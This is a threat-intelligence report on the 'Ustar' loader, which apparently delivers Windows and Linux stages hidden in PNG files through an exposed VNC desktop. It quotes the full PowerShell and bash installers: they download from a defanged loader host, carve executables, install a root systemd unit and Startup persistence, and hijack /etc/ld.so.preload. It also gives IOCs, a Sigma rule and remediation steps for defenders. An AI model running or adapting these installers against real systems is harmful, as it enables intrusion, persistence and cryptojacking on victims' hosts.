vnc · ustar · cryptojacking · loader · steganography · ld-so-preload · systemd-persistence · powershell
Ustar: A PNG-Carved Loader Pushed Into an Exposed VNC Desktop
Ustar is a cross-platform loader whose Windows and Linux second stages are appended to PNG image files and carved back out at hard-coded byte offsets by a one-line installer, and here it was pushed straight into an exposed VNC desktop.
By Davis Zheng·
TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.
Executive summary
- 22 sconnection to last payload line
- 1 in at least 387VNC visitors that sent any keystrokes
- 32 MBexecutable carved out of one PNG
- 2operating systems covered in one go
Ustar is a cross-platform loader that hides its Windows and Linux second stages inside PNG files and carves them out at fixed byte offsets. On 2 November 2026 a single address in a commercial VPN range reached the VNC desktop of one of our sensors and, 3.4 seconds later, began sending installer text. Both installers carried the same session GUID and both pulled from 93.125.75[.]94 on TCP/50034. Neither installer contains OT, vendor or process content, and the only visible selection criterion is a reachable VNC service. The artefact names match a public victim write-up of a host entered through unauthenticated VNC and libvirt where a RandomX miner was found.
Key judgments
- The command text was pasted or injected into the desktop, not typed. Two installer lines of about 860 and 900 characters each arrived as single inputs 6 seconds apart, and the whole sequence ran 18 seconds from the first input; typing 900 characters at ten characters a second needs 90 seconds. Moderate confidence.
- The operator did not establish which operating system the desktop ran before acting. A Windows Run-dialog string and a PowerShell installer were sent at 08:45:34 and 08:45:46, then a POSIX shell installer carrying the same session GUID followed 6 seconds later to the same desktop, so neither input depended on what was on screen. Moderate confidence.
- The three PNG files are containers for the second stages rather than images. The installers copy 32,652,288 bytes from offset 6648, 31,423,488 from offset 7515 and 35,842,248 from offset 16756 and reject the result unless it begins with the MZ or ELF signature, and the three files retrieved from the loader host measure 32,658,952, 31,431,019 and 35,859,019 bytes: 16 bytes more than the offset plus length for each of the two Windows containers, and 15 bytes more for nmf.png. Moderate confidence.
- This is shared campaign tooling rather than one operator's private loader. The unit name ustar, the hidden files /.ustarp, /.ustar5 and /.ustar6 and the use of /etc/ld.so.preload all appear in a public write-up by the owner of an unrelated compromised host who found a RandomX miner alongside them. Moderate confidence.
- The activity shows no sector-specific selection. Both installers are generic Windows and Linux persistence with no OT, vendor or process content, and the address appears nowhere else in the evidence back to 5 October 2026 beyond this one VNC session. Moderate confidence.
Timeline
- 08:45:30 UTCVNC connection from 138.199.15[.]161
- 08:45:31 UTCDesktop session established after one authentication attempt
- 08:45:34 UTCFirst input: the Windows Run-dialog string rpowershell.exe
- 08:45:46 UTCSecond input: 860-character PowerShell installer, Startup-folder persistence
- 08:45:52 UTCThird input: 900-character shell installer, ustar unit and /etc/ld.so.preload
- 08:45:59 UTCAll three containers retrieved from the loader host at 32,658,952, 35,859,019 and 31,431,019 bytes
The session, in order
08:45:34 rpowershell.exe
08:45:46 if($env:PROCESSOR_ARCHITEW6432-or$env:PROCESSOR_ARCHITECTURE-eq'AMD64'){$u,$o,$l='hxxp://93.125.75[.]94:50034/lxx.png',6648,32652288}else{$u,$o,$l='hxxp://93.125.75[.]94:50034/dza.png',7515,31423488};$ap=Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup';$p=Join-Path $ap 'usgmlzxsrmqq.exe';$b=(New-Object Net.[W]ebClient).DownloadData($u);if($o -lt 0-or $l -lt 1-or $o + $l -gt $b.Length){exit};$x=New-Object byte[] $l;[Array]::Copy($b,$o,$x,0,$l);if($x[0]-ne 0x4d-or$x[1]-ne 0x5a){exit};Get-ChildItem (Join-Path $ap 'us*.exe') | ForEach-Object {taskkill.exe /F /IM $_.Name;Start-Sleep -Seconds 2;Remove-Item -LiteralPath $_.FullName -Force -ErrorAction Ignore;};[IO.File]::WriteAllBytes($p,$x);& $p [guid];exit
08:45:52 bash -c "printf '[Unit]\nDescription=ustar\n[Service]\nUser=root\nExecStart=/bin/sh -c '\''U=hxxp://93.125.75[.]94:50034/nmf.png;([ ! -f /.ustar5 ] || [ ! -f /.ustar6 ]) && (wget ${U} -O /.ustarp || curl -f ${U} -o /.ustarp) && tail -c +16756 /.ustarp | head -c 35842248 > /.ustar5 && tail -c +7184 /.ustarp | head -c 9560 > /.ustar6; [ $(od -An -tx4 -N4 /.ustar6 | tr -d \" \") = 464c457f ] && echo /.ustar6 > /etc/ld.so.preload || rm /etc/ld.so.preload; chmod +x /.ustar5; exec /.ustar5 [guid]; rm /.ustar*'\''\nRestart=always\nRestartSec=5\n[Install]\nWantedBy=multi-user.target' | { s=;[ \"$(id -u)\" = 0 ]||s=sudo;${s} tee /usr/lib/systemd/system/ustar.service && ${s} systemctl daemon-reload && $s systemctl enable --now ustar;}"
The session on 2 November 2026
At 08:45:30 UTC one address, 138.199.15[.]161, opened a VNC connection and made one authentication attempt with no credential-guessing run before it. The address belongs to AS60068 Datacamp, which VirusTotal tags as a VPN exit with reputation -12. At 08:45:34 it sent a Windows Run-dialog string for PowerShell, with the leading r of the keyboard shortcut still attached. At 08:45:46 came an 860-character PowerShell installer, and 6 seconds after that a 900-character POSIX shell installer. The whole sequence ran 18 seconds from the first input, and the last payload line arrived 22 seconds after the connection. The session carried no other input, and nothing further from the address appears in the evidence back to 5 October 2026.
The PowerShell installer
The PowerShell branch reads the processor-architecture variables and picks one of two files on the loader host, lxx.png for 64-bit at offset 6648 for 32,652,288 bytes, or dza.png otherwise at offset 7515 for 31,423,488 bytes. The executable carved out of lxx.png is thus about 32 MB. The installer downloads the whole file, bounds-checks the slice against the real length, and exits unless the carved bytes begin 0x4d 0x5a. It then kills and deletes any us*.exe in the per-user Startup folder, writes its own copy as usgmlzxsrmqq.exe and launches it with the session GUID.
The ustar systemd unit
The shell branch writes a unit called ustar to /usr/lib/systemd/system/ with User=root, Restart=always and RestartSec=5, using sudo if needed, then enables it. The unit fetches nmf.png to /.ustarp and carves /.ustar5 (35,842,248 bytes from offset 16756) and /.ustar6 (9,560 bytes from offset 7184). If /.ustar6 begins with the ELF word 464c457f, the unit writes its path into /etc/ld.so.preload; otherwise it removes that file. It then executes /.ustar5 with the same GUID. The fetch is skipped once both /.ustar5 and /.ustar6 are on disk, so on restart the unit re-executes the stages it already holds.
The three PNG containers
The three files retrieved from the loader host measure 32,658,952 bytes (lxx.png), 31,431,019 bytes (dza.png) and 35,859,019 bytes (nmf.png). Each is larger than its own offset plus length, by 16 bytes for the two Windows containers and by 15 bytes for nmf.png. These sizes and the MZ and ELF checks in the installers show that the three files are containers for the second stages.
The same implant in public reporting
A public write-up lists /etc/systemd/system/ustar.service, /.ustarp, /.ustar5, /.ustar6 and a modified /etc/ld.so.preload, with a RandomX miner on the box; its author owned a compromised virtualisation host entered through an unauthenticated libvirt port and a passwordless VNC. That write-up is the basis for reading the objective as mining. The miner is the write-up author’s observation. The carved executables delivered here were not run or analysed. The same hidden file names and preload mechanism appear in a hypervisor vendor advisory on an exploited authentication bypass. Neither account names 93.125.75[.]94 or TCP/50034. The victim pulled its container from a different address and port under a different file name, and the advisory lists eight other addresses and a Tor mining pool. The loader host and port differ between victims and cannot size the campaign. The container hash delivered here appears from one source only, and no operator is identified.
Tradecraft
The bounds check and signature test in each branch show maintained delivery code from a builder who expects its containers to be re-packed and resized and aborts before executing a bad carve.
The Run-dialog string, the Windows installer and the Linux installer arrived in a fixed order with no input depending on what the desktop showed, and one GUID covers both installers. The operation mints one identifier per access and sends both installers before any reconnaissance.
The operator serves the stages with .png extensions over plain HTTP from a host that also answers for wiki and calendar hostnames, and reaches the desktop through a commercial VPN exit. Image extensions and an ordinary-looking host get past naive extension and reputation filtering. No part of the chain is distinctive enough that the operator loses anything when it is blocked.
The Startup-folder cleanup and the download guard in the ustar unit show delivery code that anticipates hosts already carrying an earlier copy and a service that restarts often.
For defenders, VNC belongs behind a VPN or an allow-list with a strong password. On Linux hosts, alert on any write to /etc/ld.so.preload and on systemd units the build process did not create.
How we tested it
The input timing and the shared GUID fit a fixed cross-platform delivery script better than a person reading the desktop. The installers contain nothing that points to deliberate selection of this sector, and the match with an unrelated victim’s artefacts points to shared campaign tooling rather than this operator’s private tool. What the desktop returned to the three inputs is not known, and the evidence does not show whether the session ended because delivery was complete or because it failed.
| Explanation | Test | Result | Verdict |
|---|---|---|---|
| A fixed cross-platform delivery script rather than a person reading the desktop | Measured the character volume of each input against the elapsed time, and checked whether any input depended on what the desktop showed | Two inputs of about 860 and 900 characters arrived as single blocks 6 s apart, 18 s in total from the first input, where 900 characters at ten characters a second needs 90 s; the first input is a Windows Run-dialog string, and the second (PowerShell) and third (POSIX shell) installers both carry one session GUID | Supported |
| The operator selected this sector deliberately (the signal that opened this hunt) | Looked for sector-specific content in the two installers and for any other activity from the address in evidence back to early October | Both installers are generic Windows and Linux persistence with no OT, vendor or process references, and the address shows nothing but this single VNC session in evidence back to 5 October 2026 | Refuted |
| The loader is this operator’s own tool rather than shared campaign tooling | Pivoted the delivered container hash across all sources and compared the artefact names against public reporting | The container hash appears from one source only, but ustar.service, /.ustarp, /.ustar5, /.ustar6 and the modified /etc/ld.so.preload are all listed in an unrelated victim’s public write-up, which also found a RandomX miner | Refuted |
| The session ended after three inputs because the delivery was complete rather than because it failed | Looked for any later return by the address | What the desktop returned to the three inputs is not known, and nothing further from the address appears in the evidence back to 5 October 2026 | Inconclusive |
Open question
We do not know what the carved Windows and Linux executables do when run, or whether they match the miner found in the public victim report.
Indicators of compromise
The 5 network indicators below are defanged; hashes and paths are given as observed.
Network
| Indicator | Context |
|---|---|
93.125.75[.]94 | loader host serving the second-stage containers on TCP/50034; also answers for unrelated wiki and calendar hostnames, so treat a blanket block with care |
138.199.15[.]161 | source of the VNC session; commercial VPN exit (VirusTotal tag vpn, AS60068 Datacamp), shared address |
hxxp://93.125.75[.]94:50034/lxx.png | container for the 64-bit Windows stage, 32,658,952 bytes |
hxxp://93.125.75[.]94:50034/dza.png | container for the 32-bit Windows stage, 31,431,019 bytes |
hxxp://93.125.75[.]94:50034/nmf.png | container for the Linux stage and the preload shared object, 35,859,019 bytes |
Files (SHA-256)
| Indicator | Context |
|---|---|
b243d07aef0ea9ccb654480b7bf962baaee06308fab7c918c1450ff4b89c8166 | lxx.png container as retrieved from the loader host |
a73131eb6305ea096a27f0ceb204e028f80be15ef079bb3f593a33c8905d1691 | nmf.png container as retrieved from the loader host |
c172ab2db5051266f1405754a6d210999cc7a11b91d69a74ac8a6c20bcaee758 | dza.png container as retrieved from the loader host |
Host artefacts
| Indicator | Context |
|---|---|
/usr/lib/systemd/system/ustar.service | root unit with Restart=always; the public victim report lists it under /etc/systemd/system instead |
/.ustar[suffix] | observed as /.ustarp (container), /.ustar5 (executable) and /.ustar6 (shared object written into /etc/ld.so.preload) |
[Startup folder]\\us<10 lowercase letters>.exe | observed as usgmlzxsrmqq.exe; the installer kills and deletes any existing us*.exe there first |
Detection
Sigma
Shell one-liner installing a systemd unit and writing /etc/ld.so.preload (candidate).
title: Shell one-liner installing a systemd unit and writing /etc/ld.so.preload
status: experimental
logsource:
category: process_creation
product: linux
detection:
selection_preload:
CommandLine|contains|all:
- 'ld.so.preload'
- 'systemctl'
selection_carve:
CommandLine|contains|all:
- 'tail -c +'
- 'head -c '
- 'chmod +x'
condition: selection_preload or selection_carve
falsepositives:
- Provisioning and packaging scripts that install systemd units
- Backup or split-archive tooling that slices files with tail and head
level: high
Detection logic
- Image URL on a high port returning tens of megabytes with an executable inside (network, candidate). Alert on an HTTP GET whose path ends .png.jpg or .gif on a non-standard port (observed TCP/50034) where the response exceeds 20 MB, or where the body begins with an image signature but contains an MZ or ELF header further in, and the fetch is made by powershell.exe, wget or curl rather than a browser.
- VNC session followed immediately by machine-rate command input (behavioural, candidate). Alert when a VNC session receives input within ten seconds of authentication at above 100 characters a second, or when both PowerShell and POSIX shell command text appear in one VNC session. Requires a VNC gateway that logs client input; raw RFB traffic will not show it.
Remediation
- Remove VNC from the internet: put it behind a VPN or an allow-list, set a password on every instance, and prefer a gateway that records client input.
- On Linux, treat any content in /etc/ld.so.preload as an incident, and audit /usr/lib/systemd/system and /etc/systemd/system for units configuration management did not write.
- Hunt for hidden root-level files matching /.ustar*, for us*.exe in per-user Startup folders, and for outbound HTTP to image URLs on non-standard ports.
- Block egress to 93.125.75[.]94:50034 and alert on any process other than a browser downloading an image-extension file larger than 20 MB.
MITRE ATT&CK mapping
| Tactic | Technique | Observed |
|---|---|---|
| Lateral movement | T1021.005 Remote Services: VNC | The session was established over VNC and all payload text was delivered through the desktop. |
| Execution | T1059.001 Command and Scripting Interpreter: PowerShell | An 860-character PowerShell installer followed the Run-dialog string rpowershell.exe. |
| Defence evasion | T1027.003 Obfuscated Files or Information: Steganography | Both stages are appended to PNG files and carved out at hard-coded offsets with MZ and ELF magic checks. |
| Persistence | T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | The Windows stage is written as us[random].exe into the per-user Startup folder after existing us*.exe copies are killed. |
| Persistence | T1543.002 Create or Modify System Process: Systemd Service | A unit named ustar is written to /usr/lib/systemd/system with User=root and Restart=always, then enabled. |
| Defence evasion | T1574.006 Hijack Execution Flow: Dynamic Linker Hijacking | A 9,560-byte shared object carved from the container is written into /etc/ld.so.preload once its ELF magic is confirmed. |
References
- Victim write-up of a host compromised through unauthenticated libvirt and VNC, listing ustar.service, /.ustar5, /.ustar6 and /etc/ld.so.preload
- Google Security Command Center: Persistence: Modify ld.so.preload
Methodology and analyst notes
The reading rests on one VNC session on 2 November 2026 from one address, plus the three containers retrieved from the loader host seconds later (08:45:54 to 08:45:59 UTC). The carved Windows and Linux executables were not run or analysed, so the RandomX miner named in the public write-up is corroboration rather than our own observation. What the operator saw on the desktop, and whether either installer would have completed on a real host, is not known. VirusTotal reports no detections for the loader address and records no file as communicating with it, and it returned no answer for the three container hashes.
Still open:
- What the carved Windows and Linux executables do when run, and whether they match the miner found in the public victim report.
Samples available on request ([email protected]).